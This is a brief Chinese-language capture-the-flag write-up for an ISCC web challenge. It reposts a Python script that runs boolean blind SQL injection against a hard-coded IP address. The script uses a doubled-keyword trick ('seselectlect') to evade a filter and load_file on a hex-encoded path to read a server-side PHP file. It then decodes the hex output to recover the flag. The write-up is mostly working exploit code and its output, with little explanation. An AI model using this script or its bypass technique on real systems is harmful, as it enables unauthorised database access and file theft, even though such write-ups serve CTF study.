#F12查看源码得到<?php$flag="iscc{eeeeeasy_web!!666666}"
贴一下大师傅的脚本
import requests
url = "http://39.96.91.106:5001/?id="
result = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
payload = "0%27||if(ascii(substr((seselectlect%0dhex(load_file(0x2f7661722f7777772f636f6e73742f666c6c6c6c6c6c6c6c6c616161672e706870))),{},1))>{},1,0)%23".format(i,mid)
r = requests.get(url + payload)
r.encoding = "utf-8"
# print(url+payload)
if "Your Login name" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)
得到
3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E
然后hex转字符串即可
m="3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E"
s=bytes.fromhex(m)
print(s)
#b'<?php\r\n$flag="iscc{eeeeeasy_web!!666666}";\r\n?>'